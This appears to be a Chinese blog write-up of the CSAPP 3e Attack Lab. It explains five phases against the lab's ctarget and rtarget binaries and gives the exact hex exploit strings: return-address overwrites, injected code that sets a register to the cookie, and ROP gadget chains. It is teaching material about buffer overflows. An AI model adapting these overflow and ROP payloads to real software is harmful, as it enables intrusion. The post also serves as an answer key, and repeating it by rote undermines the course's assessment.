zoukankan      html  css  js  c++  java
  • CSAPP 3e: Attack Lab

      注意:开始这个实验之前请仔细阅读这个实验的readme和writup(实验说明和实验攻略),仔细阅读之后,事半功倍。

    我使用的是从官网下载下来的self-study handout,实验过程中不连接服务器(单机版的感觉),所以不涉及计分板这些东西,如果想要了解,参看readme文档。

    phase1:

      由文档writup可知,这一关是对ctarget文件的操作,实验目的是,通过利用缓冲区溢出漏洞,调用函数touch1()。

      

    void touch1()
    
    {
    vlevel = 1;/* Part of validation protocol */
          printf("Touch1!: You called touch1()
    ");
    
    validate(1);
    
    exit(0);
    
    }

      解析:这一关很简单,只要你知道touch1()函数的地址,用该地址替换本来在栈顶的那个地址就行,即利用ret指令,使程序跳转到touch1()函数。

      参看ctarget的反汇编文件:

      

    00000000004017a8 <getbuf>:    
      4017a8:    48 83 ec 28              sub    $0x28,%rsp
      4017ac:    48 89 e7                 mov    %rsp,%rdi
      4017af:    e8 8c 02 00 00           callq  401a40 <Gets>
      4017b4:    b8 01 00 00 00           mov    $0x1,%eax
      4017b9:    48 83 c4 28              add    $0x28,%rsp
      4017bd:    c3                       retq   
      4017be:    90                       nop
      4017bf:    90                       nop
    
    00000000004017c0 <touch1>:
      4017c0:    48 83 ec 08              sub    $0x8,%rsp
      4017c4:    c7 05 0e 2d 20 00 01     movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
      4017cb:    00 00 00 
      4017ce:    bf c5 30 40 00           mov    $0x4030c5,%edi  
      4017d3:    e8 e8 f4 ff ff           callq  400cc0 <puts@plt>
      4017d8:    bf 01 00 00 00           mov    $0x1,%edi
      4017dd:    e8 ab 04 00 00           callq  401c8d <validate>
      4017e2:    bf 00 00 00 00           mov    $0x0,%edi
      4017e7:    e8 54 f6 ff ff           callq  400e40 <exit@plt>

      程序运行后先调用getbuf()函数,这个函数有溢出漏洞,溢出之后的内容会覆盖栈顶。在本例中,缓冲区大小为0x28,即40个字节,超出40个字节后就是溢出的内容了。

      再看touch1的地址,0x4017c0;我们就知道该怎么编辑第一关的解题字符串了。

    fa 97 b9 59 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    c0 17 40 00 00 00 00 00 00 00    /* 这里是溢出内容,0x4017c0是touch1的地址,注意栈是8字节的 */

      用hex2raw将该touch1.txt文档转换成16进制字符串文档touch1_raw.txt:hex2raw <touch1.txt>touch1_raw.txt。

     然后在GDB(GDB ctarget)中运行: r -q <touch1_raw.txt

      

      第一关,通过!

    phase2:目的:调用touch2,看函数也可以知道,调用touch2需要传递一个与cookie一样的unsigned值,函数第一个参数在汇编里通过寄存器%rdi来传递。

    void touch2(unsigned val)
    {
    vlevel = 2;/* Part of validation protocol */
    if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)
    ", val);
    validate(2);
    } else {
    printf("Misfire: You called touch2(0x%.8x)
    ", val);
    fail(2);
    }
    exit(0);
    }

    反汇编代码

    00000000004017ec <touch2>:
      4017ec:    48 83 ec 08              sub    $0x8,%rsp
      4017f0:    89 fa                    mov    %edi,%edx                    #%edi传递cookie的值。
      4017f2:    c7 05 e0 2c 20 00 02     movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
      4017f9:    00 00 00 
      4017fc:    3b 3d e2 2c 20 00        cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>,即0x202ce2(%rip)上就是cookie,这里是验证输入值是否正确
      401802:    75 20                    jne    401824 <touch2+0x38>
      401804:    be e8 30 40 00           mov    $0x4030e8,%esi
      401809:    bf 01 00 00 00           mov    $0x1,%edi
      40180e:    b8 00 00 00 00           mov    $0x0,%eax
      401813:    e8 d8 f5 ff ff           callq  400df0 <__printf_chk@plt>
      401818:    bf 02 00 00 00           mov    $0x2,%edi
      40181d:    e8 6b 04 00 00           callq  401c8d <validate>
      401822:    eb 1e                    jmp    401842 <touch2+0x56>
      401824:    be 10 31 40 00           mov    $0x403110,%esi
      401829:    bf 01 00 00 00           mov    $0x1,%edi
      40182e:    b8 00 00 00 00           mov    $0x0,%eax
      401833:    e8 b8 f5 ff ff           callq  400df0 <__printf_chk@plt>
      401838:    bf 02 00 00 00           mov    $0x2,%edi
      40183d:    e8 0d 05 00 00           callq  401d4f <fail>
      401842:    bf 00 00 00 00           mov    $0x0,%edi
      401847:    e8 f4 f5 ff ff           callq  400e40 <exit@plt>

      解析:为了实现将cookie作为参数传递给touch2,我们需要在调用touch2之前先将cookie传递给%edi : bf fa 97 b9 59 c3

      bf就是mov $立即数,%edi,  fa 97 b9 59 是我的cookie值,  c3 是ret指令。

      我需要用getbuf的ret跳转到指令bf fa 97 b9 59  mov 0x59b997fa,%edi  ,再通过这条mov指令之后的ret指令跳转到touch2,地址0x4017ec。

      这是我的答案

    bf fa 97 b9 59 c3 00 00    /* mov 0x59b997fa,%edi */ /* ret */
    00 00 00 00 00 00 00 00    
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00    /* getbuf的ret跳转,跳转到字符串开头,即执行上边的那个mov代码 */
    ec 17 40 00 00 00 00 00    /* 字符串开头那指令后的ret跳转,跳转到touch2函数 */

      

      用hex2raw将该touch2.txt文档转换成16进制字符串文档touch2_raw.txt:hex2raw <touch2.txt>touch2_raw.txt。

      然后在GDB(GDB ctarget)中运行: r -q <touch2_raw.txt

      第二关,通过!

    phase3: 调用touch3,touch3的参数是一个指向字符串的地址,字符串的内容是cookie,不是unsigned值,而是字符串形式的。

    /* Compare string to hex represention of unsigned value */
     int hexmatch(unsigned val, char *sval)
    {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
    }
    void touch3(char *sval) { vlevel = 3;/* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3("%s") ", sval); validate(3); } else { printf("Misfire: You called touch3("%s") ", sval); fail(3); } exit(0); }

      解析:我们需要传递一个指向字符串的地址,作为touch2的(第一个)参数,所以还是需要 mov $立即数,%edi 这个指令。其实不过是touch2的升级,只不过传递给%edi的一个是数值,一个是地址值。

    这里是答案

    35 39 62 39 39 37 66 61  /* cookie值得字符串,“59b997fa” */
    00 00 00 00 00 00 00 00  
    bf 78 dc 61 55 c3 00 00  /* mov $0x5561dc78,%edi */  /* ret */
    00 00 00 00 00 00 00 00  /* 0x5561dc78是字符串"59b997fa"的首地址 */
    00 00 00 00 00 00 00 00
    88 dc 61 55 00 00 00 00  /* 用ret跳转到mov &0x5561dc78,%edi 指令 */
    fa 18 40 00 00 00 00 00  /* 用ret跳转到touch3函数 */

      验证

      第三关,通过!

    phase4:注意!从这一关开始的最后两关,是对rtarget的操作,要使用的是ROP攻击方法。这一关里要求用ROP方法重复实现第二关的挑战。同时注意这一关只能使用farmc中的前半段,即:

    0000000000401994 <start_farm>:
      401994:    b8 01 00 00 00           mov    $0x1,%eax
      401999:    c3                       retq   
    
    000000000040199a <getval_142>:
      40199a:    b8 fb 78 90 90           mov    $0x909078fb,%eax
      40199f:    c3                       retq   
    
    00000000004019a0 <addval_273>:
      4019a0:    8d 87 48 89 c7 c3        lea    -0x3c3876b8(%rdi),%eax    ;89 c7.
      4019a6:    c3                       retq   
    
    00000000004019a7 <addval_219>:
      4019a7:    8d 87 51 73 58 90        lea    -0x6fa78caf(%rdi),%eax
      4019ad:    c3                       retq   
    
    00000000004019ae <setval_237>:
      4019ae:    c7 07 48 89 c7 c7        movl   $0xc7c78948,(%rdi)    
      4019b4:    c3                       retq   
    
    00000000004019b5 <setval_424>:
      4019b5:    c7 07 54 c2 58 92        movl   $0x9258c254,(%rdi)
      4019bb:    c3                       retq   
    
    00000000004019bc <setval_470>:
      4019bc:    c7 07 63 48 8d c7        movl   $0xc78d4863,(%rdi)
      4019c2:    c3                       retq   
    
    00000000004019c3 <setval_426>:
      4019c3:    c7 07 48 89 c7 90        movl   $0x90c78948,(%rdi)    ;89 c7 > movl %eax,%edi.
      4019c9:    c3                       retq   
    
    00000000004019ca <getval_280>:11
      4019ca:    b8 29 58 90 c3           mov    $0xc3905829,%eax
      4019cf:    c3                       retq   
    
    00000000004019d0 <mid_farm>:
      4019d0:    b8 01 00 00 00           mov    $0x1,%eax
      4019d5:    c3                       retq   

      解析:要带参数调用touch2,必不可少的就是向%edi传递cookie值。通过观察可以用的代码,发现可以这样实现。

      pop %rax        /* 出栈将cookie值传递给%rax */
      ret          /* 跳转到下一个指令 */
      mov %eax,%edi    /* cookie值传给%edi */
      ret          /* 跳转到touch2 */

      然后,按照这个思路,出来了下边这个答案。

    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    ab 19 40 00 00 00 00 00   /* popq %rax */
    fa 97 b9 59 00 00 00 00   /* cookie */
    c6 19 40 00 00 00 00 00    /* movl %eax,%edi */
    ec 17 40 00 00 00 00 00    /* jump to touch2 */

      验证

      第四关,通过!

    phase5: 最后一关,要求重复实现第三关的内容,同时可以使用start_farm到end_farm之间的全部代码。(太长就不贴出来了)

    这里我也是卡了好久,后来参考了网上的方法。因为第三关,这里已经是知道需要做的事情了,只不过流程不一样而已,还有受限于可以使用的代码不多。权衡之后,有了以下这个解法。

    35 39 62 39 39 37 66 61
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00            06 1a 40 00 00 00 00 00            /* mov %rsp,%rax */
    a2 19 40 00 00 00 00 00            /* mov %rax,%rdi */
    
    ab 19 40 00 00 00 00 00            /* pop %rax */
    48 00 00 00 00 00 00 00
    dd 19 40 00 00 00 00 00 /* mov %eax,%edx */ 70 1a 40 00 00 00 00 00 /* mov %edx,%ecx */ 13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */ d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */ a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */ fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 /* cookie string */ 00 00 00 00 00 00 00 00

    mov %rsp,%rax    /* 要通过%rsp的值,进行相对偏差修正得到字符串首地址 */

    mov %rax,%rdi    /* 所以将其传递给%rdi,这里用了两个指令使因为可以使用的指令中不存在 mov %rsp,%rdi。所以只好多来一步 */

    pop %rax      /* 出栈传给%rax的是字符串首地址与已被传递给%rdi的地址值之间的相对偏差值。

    mov %eax,%edx

    mov %edx,%ecx

    mov %ecx,%esi    /* 以上三步只是为了实现 mov %eax,%esi */

    lea (%rdi,%rsi,1),%rax  /* 通过运算得出字符串首地址,存储在%rax中 */

    mov %rax,%rdi      /* 字符串首地址传递给%rdi,之后就可以跳转到touch2函数了 */

    /* cookie */        /* 这里是字符串,因为只有mov %eax,%esi 而不能做到 mov %rax,%rsi ,所以字符串位置不能相对%rsp为负值,负值会在从%rax到%eax的过程中切割,导致错误的值,所以只好把字符串放在了末尾,相对%rsp偏差为正值 */

      最后,验证

      第五关,通过!

    结尾:这一关总算完了,终于可以好好准备开始下一个lab实验了hhh。

  • 相关阅读:
    [C++] 用Xcode来写C++程序[5] 函数的重载与模板
    【转】字符编码详解——彻底理解掌握编码知识,“乱码”不复存在
    【转】无法将notepad++添加到打开方式列表中的解决办法
    【转】关于启用 HTTPS 的一些经验分享
    【转】GPU 与CPU的作用协调,工作流程、GPU整合到CPU得好处
    【转】excel 末尾是0 恢复数据方法
    【转】怎么让VS2015编写的程序在XP中顺利运行
    【转】深入 Docker:容器和镜像
    【转】SSL/TLS协议运行机制的概述
    【转】C++怎么读写windows剪贴板的内容?比如说自动把一个字符串复制.
  • 原文地址:https://www.cnblogs.com/xihuyouyu/p/7632542.html
Copyright © 2011-2022 走看看